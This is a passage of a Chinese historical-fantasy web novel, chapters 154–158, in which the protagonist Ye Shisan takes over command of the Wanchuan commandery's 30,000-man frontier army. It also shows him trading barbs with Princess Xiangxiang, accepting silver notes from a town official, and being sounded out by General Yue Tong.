在即将跨出门槛的瞬间,冷冷又道:“你可记住了,你欠一个奴籍的一条命,还有没算上利息的二百两银子。”
第154章 三万兵马
“大人!”
刚到楼梯拐角,就被苏哲拦住。
“郡主她,没事吧?”
听到吵架的苏哲,就是不敢上去窥探。
他有种感觉,这郡主和叶十三之间,不似一般上下级那么简单。
这两人,好像之前有着某种联系?
“唉!”
叶十三摇摇头,瞥了苏哲一眼,啥也没说就回了自己的客房。
“大人,您没事吧?”
马成一脸焦急,早已在房中候着,十名新卒也是革甲在身,一点都不像是要歇息的样子。
叶十三眉头一皱,愠怒道:“我能有何等事,要让你几个操心?”
“大人……”
马成面上一尬,讪笑道:“方才,小的们,听到大人和郡主……”
“行了!”
叶十三摆摆手,目光叶瞥十个新卒,道:“快去歇息,没你们事,明一早还要去城外大营。”
“遵命!”
新卒们这才松了一口气,纷纷行礼退了出去。
这时候,马成低声道:“大人,那个郡主,也太反复无常了吧?”
“怎讲?”
叶十三往炕上一躺,示意马成说下去。
马成端来一盆热水,把叶十三耷拉在炕沿下的两只脚,脱了靴子后按进水盆里,然后,搬了一只小凳坐在旁边这才说道:“小的有种感觉,这个郡主,脾气古怪刁蛮,似乎老是故意找大人您的麻烦。”
这话一点都不假,让马成这些都看出来了。
“还有,她放着万川郡如此丰厚的条件不享受,非要跑通天驿镇来,来就来了,身为监军,那可是军部双手捧着的人物,可她偏偏连何家大院都不住,跟着大人住咱的营房。”
“唉!”
马成又叹一口气,摇头道:“真让人闹不明白,除非……”“除非怎么?”
叶十三一骨碌坐了起来,差点打翻了炕沿下的泡脚盆。
“说说?”
叶十三就像被蝎子咬了一下,瞪大了眼睛盯着马成。
马成被叶十三突然的举动吓了一跳,怯生生说道:“大人息怒,是小人满嘴胡言,还望大人海涵。”
“不!”
叶十三一脸严肃,道:“就依你方才之言,说下去,恕你无罪!”
虚惊一场,马成心里一块石头落地。
马成站了起来,拉开房门向外瞅了瞅,确认外面无人后,这又关了门回到小凳上坐下。
“方才小的是说,除非大人和那个郡主之前有所瓜葛?”
“瓜葛?你何出此言?”
“嗨!大人您想想,要是没有一点瓜葛的人,就凭人家的家世身份,连岳大将军都敬她三分,可大人您……”
“我怎么了?”
“您在无旁人在场的时候,对郡主好像貌似不太尊敬……而且,郡主也好像刻意让着大人您……”
草!
都让这帮混蛋给看出来了?
老子不是很小心的么?
是有那么一点情绪,但老子也是背着人的啊!
被马成如此一说,叶十三不淡定了。
稳稳神后,叶十三再次把目光看向马成,道:“对一个喜怒无常的人,就得不按规矩来,不然会被那种人拿捏得死死的。”
叶十三嘴里胡掐一气,为自己的不安随口就找了个理由,把马成的问话搪塞了一下。
“原来是这样啊?”
马成低下头来,把手伸进盆里开始为叶十三搓脚。
“小的还以为,大人您家和郡主家是旧识呢,虽然碍于身份,但还是彼此照顾着些而已。”
旧识?
听到马成说出“旧识”二字,叶十三心头陡然一惊。
难道,叶家和郑家,真是之前就有瓜葛不成?
可惜,前身那哥们,被赵大牛的拳头击中脑部,伤了脑子送了性命,由此也影响了记忆。
曾经通过记忆碎片的拼凑,他好像有个未婚妻的。
那是双方父母,早在多年前就定下是亲事。
如今叶家横遭**,最后被贬为奴不说,还被充军边城遭罚苦役。
“别乱想了,我的身份,哪能高攀上京都的皇亲国戚?”
叶十三硬是挤出一丝笑意,打消了马成的疑虑。
……
大早,马成叫来早饭。
叶十三以最快的速度,草草吃完早饭后,带着马成一行就直奔城外大营。
三万兵马的北防军万川郡大营,规模可真是不小。
四座黄土夯成的基座上面,又用粗大的原木搭成塔哨,分立在大营的东、西、南、北四个角上。
大营靠西面和北面,是一道土夯的高墙,墙外又是一道一人深的壕沟。
只有东面和南面,是用碗口粗的圆木削尖了一头围成的栅栏。
大营的正门朝南,也就是朝着万川郡城的方向。
营门口两座高高的塔哨,和五里外的万川郡北城门遥遥相对。
“大人,就我们一行?”
马成似有顾虑地一问。
“你还想带着谁?这是去大营接手军务,不是逛街。”
叶十三知道马成想说什么?被他给一句挡了回去。
“公务后,我们是回万川郡,还是黄羊岘?”
心里还是不太踏实的马成,硬起头皮又是
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一问。
这下,叶十三不高兴了。
回头狠瞪马成一眼,吓得马成脖子又是一缩,生怕叶十三手中的马鞭甩过来。
不一刻,大营到了。
远远看到,早有周大祥和穆顺二人,带着一干大小将领三四十人在南门迎接。
“末将等,恭迎叶将军莅临万川郡北防军大营检阅大军。”
这称呼,真有水平。
“千户”是不叫了,但也没有称叶十三为“大将军”这个军职。
毕竟,叶十三还没被朝廷降旨册封。
只有“将军”这个称呼,怎么叫都不违和。
就是带一千兵马的地方下千户,也可称为将军。
“周将军客气了!”
叶十三在马背上拱手一礼,道:“非常时期,我就勉为其难了,这检阅大军的事,也就免了,平时该如何操练,还是如何操练,我这次过来,也就是露个面,不然郡主降罪下来,我还真有些吃不消。”
一番客套话,有礼有节,不骄不躁,但也不亢不卑。
早已下了马的马成,快步上前虚扶一下,叶十三抬腿就下了马背。
“叶将军请!”
周大祥往一侧一让,把叶十三让在前面。
“周将军请,你我之间,莫要如此生分。”
叶十三礼节有加,丝毫没有摆最高军事长官的谱。
进了营门,望见练兵场上,各类兵马已经列着方队等候。
“叶将军到!”
穆顺放开嗓子,就是一声高呼。
方阵前面,三百名百夫长,八百名甲正,齐齐单腿跪地,抱拳高呼道:“末将等,恭迎叶将军。”
“恭迎叶将军……”
三万兵士高举战刀和**,吼声如雷经久不息。
叶十三上前几步,昂首立在三百名百夫长面前,举着双手凌空向下压了压,朗声道:“东西南北四营,各部兵马照常训练。”
“末将谨遵叶将军命令!”
三百名百夫长,八百名甲正,又是齐声复命。
叶十三微微颔首,背起双手就走向周大祥一行。
待到军务大厅坐定,周大祥转头吩咐一名佥事,道:“大厅外围百步之内,禁止任何兵将靠近,违令者,斩!”
待佥事退下,大厅中只剩叶十三和包括周大祥在内的十个校尉。
当然,马成的十名新卒,被留在了大厅外面候着。
作为叶十三的卫兵,从道理上说,是不能远离叶十三的。
桌上已经有提前烧好了的茶水。
苏烈亲自提了茶壶,给将台上端坐的叶十三,拿过茶碗先斟了一杯。
第155章 混账东西,敢骂本郡主是狗?
“叶将军,请用茶。”
周大祥的目光,紧盯苏烈片刻,然后冷冷说道:“苏将军,该说的话,我就是不说了,想必你心里应该有数。”
此言一出,苏烈心头一凛。
放下手中茶壶后,向周大祥拱手一礼,道:“还请各位放心,苏某人也是老王爷一手带出来的,这些分寸,苏某还是有的。”
在座的人都明白这些,但苏烈又是苏哲的亲胞弟。
可这苏哲,又是香香郡主的亲卫统领,是属于肃王那边的人。
所以,朝廷空降谭祖高带领万川郡这支三万兵数的北防军时,身边无人可使的谭祖高,自然就把苏烈留在身边听令。
这样一来,无形之中就是一个立场划分。
眼下,谭祖高是已经**。
但其余的九个校尉,却对苏烈还是有些顾虑。
既然苏烈如此一说,周大祥把目光看向叶十三,拱手又道:“我也就不瞒叶将军了,叶将军入伍虽晚,但是战功显赫,令末将等人钦佩不已,而且,叶将军又是周大将军信得过的人,如此一来,末将等人和叶将军之间,也就不是外人了。”
这话,直接给挑明了,对立场站位毫不掩饰。
“周将军客气了!”
叶十三摆摆手,缓缓说道:“岳大将军对我有再造之恩,身为边军一卒,我应该唯岳大将军命令是从。”
话都说得很直白,但也很巧妙。
明明都向镇北王吕南庭表忠心,但谁都没提镇北王一个字。
而双方之间,都在拿车骑将大将军岳佟当幌子说事。
就这些将领而言,他们的军职是比岳佟要低上一些,但他们终不归岳佟调遣,两者之间,是属于协防关系,而不是隶属存在。
但在叶十三心里,什么镇北王不镇北王的,这和他是八竿子打不着的关系,他眼下,只能抱紧了车骑大将军岳佟的大腿。
这些兵将们,正需要一个和镇北王能扯上关系的人,来替代谭祖高。
天时,地利都被叶十三占了。
而且,还借着他和岳佟的这层关系,硬是给凑了个人和。
如此一来,他这个奴籍兵卒,头顶着下千户空头衔的充军之人,理所当然地把万川郡的这三万兵马,已经掌握在自己手中。
无朝廷册封,也无兵部任命,但叶十三以代管的名义,掌控了北防军三万兵马的军权。
兵者,诡道也!
叶十三的这一番骚操作,连他自己都感到后怕。
他赌赢了香香郡主,却又把这个傻白甜郡主,立即给放在火上烤了。
原本是奔着削减镇北王在北漠边城的势力,没想到她反手把原本已经被摘离出来万川郡的三万兵马,拱手又送了回去。
不过,香香郡主还没有输,只要控制了叶十三,就等于万川郡的这三万兵马,依旧被她的父亲,以朝廷的名义掌控着。
三万大军,放任何地方都不是个小数。
“拜托诸位了!”
既然目的已经达到,叶十三也该动身了。
在向在场的将领们拱手一礼后,叶十三又道:“眼下边防吃紧,万川郡防务务必兼顾西河镇沿线,注意各烽火台的升烟传讯。”
“末将遵命,请叶将军放心。”
众将领纷纷起身,拱手向叶十三同声应答。
出了大营,叶十三一行,向万川郡方向策马狂奔。
在离开大营一里处时,只见从万川郡城方向,一队兵马迎面而来。
“大人,是郡主!”
“只能是她。”
面对马成的惊叫,叶十三倒是笃定如常。
片刻间,香香郡主策马就来到叶十三面前。
“你好大的胆子?”
一打照面,怒气冲天的香香郡主张口就斥:“不经本监军许可,居然私会地方驻军,你可知罪?”
私会地方驻军?
叶十三嘴角挂起一丝冷笑,拱手道:“郡主怕是搞错了?”
“搞错了?”
“是!”
香香郡主美眸一翻,怒道:“本郡主还冤枉了你不成了?”
叶十三拱手道:“末将本就是戍边将士,各驻军之间正常协防,这本就是防务所需,如何到了郡主嘴里,就成了私会地方驻军?”
“你……”
被叶十三一句噎得说不出话来的香香郡主,眼神恨不得把叶十三给剐了。
“倒是郡主你……”
叶十三半眯着眼睛,缓缓又道:“按大夏律,朝官不得结交地方武将,肃王派郡主来边城前线,倒是让人起疑啊!”
“放肆!”
香香郡主一双美眸,此时快要喷出火来,咬牙道:“本郡主身为监军,朝廷赐有兵符在手,可斩任何心怀叵测的武将。”
“郡主难道忘了?”
叶十三身子向前一倾,压低声音道:“心怀叵测的骠骑大将军谭祖高那个狗东西,不是已经让末将给斩了吗?”
没等香香郡主说话,叶十三接着又道:“末将去大营善后,这也是郡主您亲口下的军令,末将想郡主之想,急郡主所急,这难道又是错了?”
“这……”
香香一时语塞,狠剜叶十三一眼,怒道:“既然是去大营善后,为何不等本郡主一起前
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往?”
“唉!”
叶十三直起身子,叹息道:“昨夜郡主尽兴,睡得又晚,在郡主美梦正酣之际,末将实在是不忍心叫醒郡主,只好自己代劳了。”
说完,叶十三小声又道:“就是神仙,这吕洞宾也难啊!”
吕洞宾?
香香郡主眉头一皱,仔细地玩味着这句话的意思。
突然,香香郡主猛然抬头,一鞭子就抽了过来。
“混账东西,敢骂本郡主是狗?”
叶十三一低头,躲过香香郡主甩过来的马鞭,策马就向前狂奔而去。
“混蛋,你停下,看我不抽死你?”
香香郡主一夹马肚,高举着马鞭就追了上去。
离着香香郡主三丈远的苏哲,向身后向卫兵们一挥手,沉声道:“快,跟上郡主。”
马成憋着一脸的坏笑,自言自语道:“啧啧,大人可真有胆,敢捉弄人家京都来的郡主了。”
说完,一脸得意地望着十名新卒,吼道:“大人都上路了,我们还等什么?”
“遵命!”
十名新卒齐声应答,策马就跟着苏哲带着的卫兵马队,一路向西河镇方向狂奔起来。
这一追一赶,十里路就过了。
“又上当了!”
追赶中的香香郡主,这才反应过来,此时已经离万川郡北防军大营越来越远。
要是再返回去,已经没有了任何意义。
“混蛋,迟早有一天,姑奶奶要让你知道厉害。”
嘴里骂着,不由得放慢了马速。
香香郡主这一慢,前面策马疾驰的叶十三,随即也慢了下来。
“累了?”
叶十三一回头,冲着离他不足两丈距离的香香郡主就是一句。
“滚!”
怒不可遏的香香郡主,哪有好脸给叶十三看。
“末将遵命!”
叶十三双腿一夹马肚,一扬马鞭,又是一阵狂奔。
不多时,到了西河镇地界。
“禀郡主!”
叶十三放慢马速,与香香郡主的马平齐时,指着西河镇的方向,道:“来时,我们沿着烽火台一路到万川郡,回去的路线,就没必要重蹈旧辙了,走镇里,也好顺便在镇上午饭。”
“就知道吃!”
香香郡主一脸寒霜,狠剜叶十三一眼,骂道:“饿死鬼投胎啊你?”
“郡主息怒!”
叶十三在马背上一拱手,道:“你可以不吃,但马不行啊!跑如此远的路,不给些草料如何能成?”
“混蛋,在你眼里,我还不如一匹马?”
香香郡主瞬间又暴怒起来。
第156章 心照不宣
就在这时,苏哲带着卫兵也赶了上来。
“郡主,马都累了,得找地方饮水。”
苏哲胯下的战马,鼻孔喷着老粗的白气,马脖子上也是一片汗珠。
“哦!”
香香郡主点点头,望了望西河镇方向,道:“抓紧时间,在西河镇打尖,天黑之前务必返回通天驿镇。”
“遵命!”
没等苏哲应声,叶十三勒马往旁边一站,把香香郡主让在前面。
“郡主有令,二十里外西河镇打尖歇脚。”
叶十三扯着嗓子,向跟在队伍最后的马成们就是一声吼。
是打尖歇脚,不是安营扎寨。
这次,叶十三没有急着抢到前面,而是等苏哲带着的卫兵们走了过去,这才跟在后面前行。
“大人,郡主怕是饿了?”
马成紧赶几步,跟在叶十三马后说道:“郡主一觉醒来,发现我们都已经走了,恐怕早饭都没来及吃。”
还真让马成说对了。
香香郡主头昏脑涨的醒来之后,就得到苏哲的禀报,说叶十三一大早就带着马成一行离开了客栈。
这一下,香香郡主的酒完全醒了。
她知道,叶十三甩掉了她,目的就是去万川郡的北防军大营。
她不在场,不知道叶十三会怎样鼓动那些将领们的。
那帮子人,可都是镇北王吕南庭的旧部。
被惊出一身冷汗后,香香郡主哪还有心思再吃早饭?
不过,她还是晚了一步,让叶十三占了先机。
“混账!”
叶十三回头瞪了马成一眼,道:“你们都填了一肚子的干饭,郡主肚子还都是空着的,能不饿吗?”
“是是,郡主饿……”
马成被吓得一缩脖子,故意慢下来几步,生怕惹恼了叶十三,会抽他一鞭子的。
一个时辰后,到了西河镇北的哨卡。
交验过令符,一行人浩浩荡荡就进了西河镇。
继续前行半里,到了一处十字路口,打头的香香郡主勒马停了下来。
“前方可有驿站?”
香香郡主头都没回,大声就是一句发问。
苏哲赶忙回过头去,望着叶十三等待回话。
叶十三和苏哲四目相对,知道苏哲这一眼的意思。
“马成听令!”
“小的在。”
马成心头一凛,赶忙应声。
叶十三一瞥马成,朗声又道:“带两人,速去西河镇衙门,传我命令,让西河镇镇首田诚业准备迎接郡主芳驾。”
此言一出,苏哲大惊。
“叶将军,还是赶路要紧,如何能惊扰地方衙门?”
面对苏哲的不解,叶十三笑道:“这哪是惊扰地方?这是公务,西河镇紧邻万川郡,镇上和沙柳滩驻军,总数不足千数,防御方面,得由镇衙门,配合万川郡北防军兼顾。”
“再说,驿站的饭食,郡主能吃得惯?”
狠瞪苏哲一眼,叶十三又补刀一句。
香香郡主回过头来,怒视着苏哲,愠色道:“学着点,听叶将军的。”
“是是!”
苏哲面上一红,又催马前行。
等过了两条街口,老远望见,田诚业带着几个官员,已经出了镇衙向这边赶来。
“西河镇镇首田诚业,迎接郡主芳驾。”
还没到跟前,田诚业带着几个官员就当街跪了。
“田诚业见过叶千户!”
向香香郡主磕过头后,站了起来的田诚业,又向叶十三拱手行礼。
“田大人客气了,本将军只是郡主的随从,就不必如此大礼了。”
叶十三摆摆手,连礼都没回,望着田诚业淡淡就是一句。
一个下千户,见了田诚业这样的上千户,本应下千户先行礼才是。
可叶十大刺刺地端坐马背,居高临下地望着田诚业。
“混账!”
田诚业的称呼,激怒了香香郡主。
“西河镇镇首,无非就是个上千户罢了,见了万川郡北防军代将军,为何不跪?”
万川郡北防军代将军?
那可是三万兵马的统帅啊!
被香香郡主一声厉斥的田诚业,这才明白过来,叶十三已经代管了万川郡的北防军。
脸上一阵急抖,田诚业臃肿的身子又跪了下来。
“下官恭迎叶将军!”
田诚业恭恭敬敬,前额触地,向叶十三补行一礼。
“行了!”
叶十三摆摆手,十分大度地说道:“你我之间,都老熟人了,不必如此客气。”
“起来吧!赶快准备饭食,郡主不食膻物,务必清淡为主。”
说完,叶十三又是一句交代。
“下官明白,这就安排去做。”
田诚业一脸讪笑,连声应答。
这叶十三的高升,对他来说是件好事。
两人前几天,才联手把周敬堂在西河镇的所有买卖给刨了根。
这叶十三又升迁为等同于骠骑大将军的军职位置,他这个“
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合伙人”以后岂能没有好处?
很快,香香郡主就被安置在一处雅间。
热气腾腾的好茶,也被端上了桌。
趁着叶十三去茅厕的空子,跟了出来的田诚业,凑到叶十三面前,又拱手低语道:“恭喜叶将军,贺喜叶将军。”
刚撒完一泡尿的叶十三,抖着裤子哭丧着脸,苦哈哈说道:“你就别埋汰我了,什么恭喜呀贺喜的,凭空多了三万兵马,这三万张要吃要喝的嘴,我拿什么去喂啊?”
此言一出,田诚业面颊一抽,思忖片刻,伸手入怀掏出一沓银票来,上前一步,直往叶十三的手里塞。
“拿着,下官知道,这上面的粮草总是不及时,这些虽然不多,但也能应个急不是?”
叶十三斜瞥一眼银票的面额,又捏了捏手里银票的厚度。
好家伙!
这一出手,怕是足有两万两之多。
一个上千户的镇守,身上居然随便能掏出来上万两的银票。
“你也不容易,这不是给你又添麻烦了不是?”
叶十三假意推让着,最后拗不过田诚业的一片赤忱,还是把手中的银票揣进怀里。
他哪知道?
就这几天,那些盯着货栈和粮行买卖的商人们,没少往田诚业的手里塞银票。
这些银票,还没被田诚业捂热,就已经被易了主。
可田诚业不这么想。
原以为,叶十三的后面,站着的是军部的大将军岳佟。
可眼下来看,叶十三的靠山,不光是岳佟一人,而且还有京都来的这位郡主。
再说,金铃儿已经得了百花楼,成了百花楼的鸨子,每月还会向他田诚业这个背后的大股东,上供六成的收益。
别说是这两万两银子,就是八万两、十万两,只要能起到大作用,花多少都值。
“叶将军客气了!”
眉开眼笑的田诚业,压低声音又道:“下官也就这些能耐,只要叶将军用得着的地方,下官必定肝脑涂地,一切以叶将军命令是从。”
“呵呵!”
叶十三一笑,半眯着眼睛看向田诚业,道:“也别肝脑涂地了,说得多瘆人似的,你真要是有心,就把通天驿镇的那位,还有他在军中的一些关系,都给我摸清了。”
此言一出,田诚业心头陡然一惊。
这叶十三,看来是要拿周敬堂开刀了?
如果周敬堂倒了,那么,通天驿镇镇首的位子,那可是副万户的职位。
第157章 一条道,各跑各的车
不一刻,满桌的酒菜已经摆上。
由于香香郡主不喜牛羊肉的味道,被单独安顿在一处雅间。
干菌子炖肥鸡,金丝卷儿配银耳粥。
准备虽然简单,烹饪却是精到。
不用说,这又是叶十三的安排。
“这混蛋,还算有些良心!”
香香郡主自语一句,算是对自己有个安慰。
“只是一个人吃不了这么多?”
一盆香气扑鼻的干菌炖鸡肉,一盘色泽金黄,味道酥脆的金丝卷,一碗熬煮得晶莹剔透的银耳粥,一个人的饭量,还真是吃不到三成。
“算了,不叫他了,免得惹本郡主生气。”
香香郡主丝毫不顾一名田府的侍婢在场,自顾自言语了一番,然后低头只顾吃了起来。
与此同时,外面的场景可就不同了。
大锅的炖羊肉,大碗的白米饭,还有不限量的白馍,就差上几坛好酒了。
“郡主她,吃了吗?”
苏哲压低声音,向叶十三一问。
“能不吃吗?”
叶十三把一口肥羊肉咽了下去,瞪着眼睛回了苏哲一句。
“那就好,那就好!”
心头一宽的苏哲,赶忙低下头来吃肉,要不然眼前的这盆炖羊肉,可就只剩汤了。
另一桌上,十名新卒吃得两嘴角都是油。
“跟着咱大人,老是有羊肉吃。”
“没错,如此过瘾的吃法,从小到大还真没吃过几回。”
“这白馍,没掺一点儿黑面,满口都是麦香味。”
“弟兄们,我怀疑,这肉是镇首请人做的,和上次馆子吃的一个味。”
“诶!”
一名新卒一怔,尝了一口肉汤,点头道:”还真是,说不准,是衙门请的那家馆子大厨给做的,这个味,我一辈子都忘不了。”
“还用请?”
另一名新卒抬起头来,低声道:”打发个下人过去,知会一声,馆子的老板,还不屁滚尿流的赶过来亲自掌勺?”
”可惜啊!”
又一名新卒,面带惋惜地说道:“南来顺的老板,又错失了一次挣钱的机会喽!”
“此话怎讲?”
有人质疑。
面带惋惜的新卒道:“想想,要不是镇首接待洗尘,大人准会带咱们下馆子的,这不,馆子上衙门做,不但拿不到钱,还要搭上几只肥羊。”
如此一说,马成急了。
“都把嘴闭上,有肉吃就不错了,轮得到你们论长短?”
口无遮拦的新卒们,当然是不知道祸出口出的风险了,老兵油子马成就不一样了。
既然当了这十个新卒卫兵的头,那就得凡事谨慎。
给叶十三跟班,要的就是机灵。
那些战马,当然不用他们操心,衙门的人早已给战马喂过了草料。
一顿饱饭结束,香香郡主丝毫没有逗留的意思,甩下叶十三就带头赶路。
“记住我说过的事?”
“下官明白!”
叶十三交代田诚业一句,然后带着马成他们,向香香郡主追赶而去。
出了西河镇,叶十三没有赶到前面,只是跟在卫兵们的马后赶路。
首当其冲的香香郡主,阴沉着一张粉脸,一声不吭的只顾赶路。
到了通天驿镇,天已经黑了。
夜色并不好,没有一丝月光。
抬头看了看天色的香香郡主,转头向苏哲说道:“你去问问,是赶路还是打尖?”
这还用问?
要是赶路,点几只火把在前面就可,没必要问谁?
这明明是困了也饿了,想在镇上休整,但又拉不面子,只等叶十三主动安排。
“叶将军,郡主问,是打尖还是赶路?”
苏哲来到叶十三面前,低声就是一问。
叶十三望了一眼通天驿镇街的入口,道:“就是赶路,那也得吃饱肚子才行,而且还得准备火把。”
这车轱辘话,还真让苏哲摸不着头脑。
等于没说。
“那就,先找地方用饭吧?”
苏哲试探着,又是一句问。
“想吃饭,还找什么地方?”
叶十三眼睛一瞪,又道:“郡主驾到,通天驿衙门难道不给管一顿饭吃?”
“末将明白!”
得到了明确指示后,苏哲即刻去禀报香香郡主。
可叶十三也跟了上来,见面就说:“这样吧!周大人必定宴请郡主,我就不掺和了。”
“好吧!”
香香郡主眉头一皱,摆手道:“随你便吧。”
叶十三拱手一礼,又道:“末将还是去军部,衙门的那些人,很不待见我的,这人啊,还得有些自知之明才是。”
说完,叶十三转过头去,向马成吼道:“军部,大将军行辕。”
亏你还有些脸皮,知道别人不待见你这混蛋!
香香郡主没有要求叶十三和她在一起,有苏哲带着卫兵,有没有叶十三跟着都一样。
如此一来,她和周敬堂的谈话,也就方便了许多。
叶十三更是一样,岳佟能给叶十三交代的事,那是很忌讳香香郡主在场的。
周敬堂巴不得叶十三离开香香郡主。
“狗东西,哪都有你!”
嘟囔一句,周敬堂把香香郡主带到一家酒楼。
“郡主请,下官都安排好了。”
指着一家“集味阁”匾额的酒楼,周敬堂把香香郡主让在前边。
香香郡主抬头一看,酒楼不大,土木建筑,共三层,不似内地建筑那般精致,但在这边城之地,也是别有一番风格的了。
进得酒楼,香香郡主直
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接被带上三楼一处雅间。
苏哲带着四名卫兵,却被安排在雅间对面楼梯口的房里坐了。
其余的四十六名卫兵,全都被安排在二楼的几处雅间用饭。
酒楼只有二层和三层营业,一楼被分为前后两处,前厅只是接待用的柜台,后厅是厨房。
食客要是用饭,进入一楼大厅后,从大厅两侧的楼梯都可直接上楼。
“郡主,那个叶十三实在是可恶至极!”
想到叶十三,周敬堂就把牙咬得“咯吱吱”作响。
“他又怎么你了?”
香香郡主眉头一皱,对周敬堂动不动就找叶十三麻烦的做法,很是反感。
但作为同一利益集团的成员来说,周敬堂的每一句话,她都不得不听,生怕漏掉最关键的一些信息。
“下官猜测,西河镇的田诚业,已经和他搞在一起了。”
周敬堂目光闪烁,一副心神不宁的样子。
香香郡主摆摆手,缓缓说道:“你和田诚业,同属万川郡太守牛煜管辖,这又关叶十三何事?”
“嗨!”
周敬堂皱眉摇头,咧嘴道:“下官在西河镇的那些买卖,不是因为柜上掌柜出了些纰漏,被叶十三那狗东西给查封了吗?”
“是啊!”
香香郡主望着周敬堂,道:“这事,你不是已经提过了吗?”
“是给郡主您提过了,但眼下这事透着古怪。”
“说说,是如何个古怪法?”
“您看,泰来粮行和亨通货栈,房屋不少,院子不小,眼下还没被解封。”
“这个,得找军部才是,叶十三封的,与田城业何干?”
“坏就坏在此处,叶十三并没将此案,按规定向地方衙门移交啊!”
“那你找军部啊!叶十三的事,由军部管,再说这事关系到通敌和贪墨军粮,自然由军部处置了。”
“还找啥呀?”
周敬堂两手一摊,哭丧着脸又道:“田诚业已经给别人发放了牌照,粮食生意和货栈贸易,已经给其他人开办了起来。”
香香郡主这下是完全听明白了,叶十三查封了周敬堂的两处买卖,却没有按惯例向地方衙门移交。
而地方衙门也是不闻不问,趁机把粮食和百货的贸易权,给了其他商人。
如此一来,直接斩断了周敬堂东山再起的根基。
“这只能说,各干各的差事,田诚业省了许多麻烦,被查封的房屋就让那样搁着,那是军部的事。作为一镇之首,首先考虑的是当地百姓的民生,他田诚业给别人直接发放了牌照,这与叶十三有何关系?当地老百姓,还有南来北往的商客,不都得需要这些吗?”
香香郡主就事论事,貌似合理的一番说辞,直接给周敬堂泼了一头的冷水。
第158章 都不是省油的灯
“郡主,下官……”
周敬堂心里,放不下的是自己的损失。
香香郡主的心思,却在对边城十万北防军的控制上。
她只要把叶十三攥在手里,放弃三五个周敬堂这样的地方官员,她也在所不惜。
“好了!”
香香郡主摆摆手,缓声又道:“眼光放长远一点,别老盯着那些银子。”
“郡主明鉴!”
周敬堂面上一慌,急道:“下官绝无此意,下官就怕,叶十三那狗东西,有着岳佟的偏袒,以后会更加猖狂而不可收拾。”
香香郡主眉头一皱,不悦道:“岳佟作为统帅,对手下能杀敌的将士给些宽容,这也是情理之中的带兵法子,如何就是偏袒了?”
“倒是你!”
香香郡主粉脸突变,愠色道:“作为地方政要,在大敌当前的节骨眼上,不思与当地驻军联袂抗敌,反生间隙与朝廷不利,要不是上面有人替你说话,岳佟早都对你动手了,这些,你可明白?”
“郡主……”
周敬堂心头陡然一惊,当即就跪了。
“行了!”
香香郡主懒得再扯这些令人堵心的事,粉脸一寒又道:“叶十三能为岳佟所用,为何就不能被我所用?”
此言一出,周敬堂顿悟。
拉拢叶十三,要比和叶十三作对有利多了。
上面要的是控制边城的兵马,而不是让他把精力,耗在与一些底层将领的较量上。
“您是说?”
周敬堂抬头,满是希冀地望着香香郡主。
“还用本郡主说?”
香香郡主勃然大怒,厉声斥道:“作为地方政要,积极配合粮草的补给,协调各方面调配一应军资,组织劳工修筑防御工事,难道这些,都要本郡主手把手教你不成?”
此言一出,周敬堂额头见汗。
本来想通过香香郡主向军部施压,用以恢复他的那些买卖,使多年积攒的经营不落入别人之手。
这倒好,反而让香香郡主怒斥一顿,还让他以后配合着叶十三一点。
这时候,几样精美的饭菜被端了上来。
爆炒鸡脯肉,清炖草鸭,红烧河鲤,菌子炒笋干,外加一碗粳米干饭。
这饭菜,周敬堂可是费了心思的。
刘四和王选,把探知的香香郡主饮食口味,事无巨细地及时禀报给了他。
看到饭食,香香郡主的怨气似乎才小了些。
“退下吧!”
香香郡主摆摆手,让周敬堂不要杵在这里碍眼。
……
与此同时,岳佟面色阴沉。
紧盯着叶十三的眼睛,良久不语。
“大将军,末将经验不足,布兵打仗,还得多仰望大将军才是。”
叶十三一脸的谦逊,迎着岳佟凌厉的目光,心里却一点都不发虚。
片刻后,岳佟缓缓说道:“岂敢,你眼下统领的兵马,都讲要超过我的兵数了,希望你好自为之,不要辜负了老王爷的期望。”
“末将不认得什么老王爷,末将的心里,只有车骑将大将军您。”
叶十三稳如老狗,笃定地又是一句。
“不敢如此!”
岳佟面颊一抽,沉声又道:“北漠千里边城,是老王爷打下来的安宁,十万大军的底子,那是老王爷半生的心血所在,既然你还认我这个大将军,就还是老王爷手下的一名兵将。”
“末将铭记大将军教诲!”
叶十三拱手一礼,站在桌旁束手立着。
“请坐!”
岳佟一声客气,然后示意周钊上菜。
叶十三拿下万川郡三万兵马,这让岳佟心中不安起来。
他原以为,叶十三只是强悍,没想到他居然有着如此过人的谋略。
谭祖高**,让他又喜又忧。
这里面,有两种可能。
其一,是他投靠了肃王,凭着香香郡主的手段除掉了谭祖高。
但这种可能性很小,谭祖高本身就是朝廷空降到边城的一枚楔子,肃王眼下还不敢和朝廷对着干。
其二,就是叶十三利用了香香郡主,这才达到了巧取豪夺的目的。
这种可能性是有,那个香香郡主,似乎对叶十三很迁就,表面上的刁难,只不过是掩人耳目的小伎俩。
总之,叶十三不是一个简单的奴籍。
与之为友,可保大夏百年基业,又可捍卫镇北王的在朝廷的虎威。
反目成仇,则是两败俱伤,瞬间就会被其他势力,借机灭了他们这些北防军的扛把子。
“坐啊!还站着干什么?”
岳佟一指桌上刚端来的酒菜,望着叶十三道:“赶了如此多的路,想必是肚子早都饿了,这人是铁,饭是钢,一顿不吃心发慌,酒菜都上了,还不坐下动筷子?”
“大将军在此,哪有末将的座?”
叶十三依旧站着,并没有在桌侧的椅子上坐下。
“怎的?”
岳佟面色微变,嗔怒道:“让你坐你就坐,这都不听我指挥了?”
一语双关,话中有话。
叶十三岂能不懂?
“谢大将军!”
道谢的话刚一落,叶十三一屁股就坐了,直接伸手抓起一块烤马肉,送到嘴边就啃了起来。
“这就对了嘛!”
岳佟立刻换了一副笑脸,和
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蔼说道:“我就喜欢你们一个个能吃能杀的样子,饭量都没有,还打俅的仗。”
叶十三心里清楚,岳佟在试探他的底,在摸他的脉。
“好吃!”
叶十三啃着烤马肉,慌忙点头又道:“还是大将军您心里有末将,这马肉也太好吃了。”
这话,岳佟爱听,他等的就是叶十三的这种态度。
“你也坐!”
岳佟一瞥旁边候着的周钊,皱眉道:“叶十三都坐了,你还站着,是我的话不管用了?”
草!
又是对老子的敲山震虎?
不过,这次还真得感谢这老货。
要不是万川郡北防军的将领们,一致认为他叶十三是镇北王的人,才不会轻易地听他叶十三的号令。
所以,岳佟这个在边城镇北王的代言人的话,他不敢不听。
起码,还不敢明着对抗。
毕竟,他们左右都用到了岳佟和香香郡主的双重威势,这才阴差阳错拿下了北防军三万兵马。
周钊就是个岳佟试探叶十三时所用的道具。
被岳佟如此一说,赶忙在桌子的另一侧坐了,低着头就往嘴里扒拉饭菜。
行辕里的其他将领们,对叶十三只有羡慕的份,谁都不敢私下议论什么!
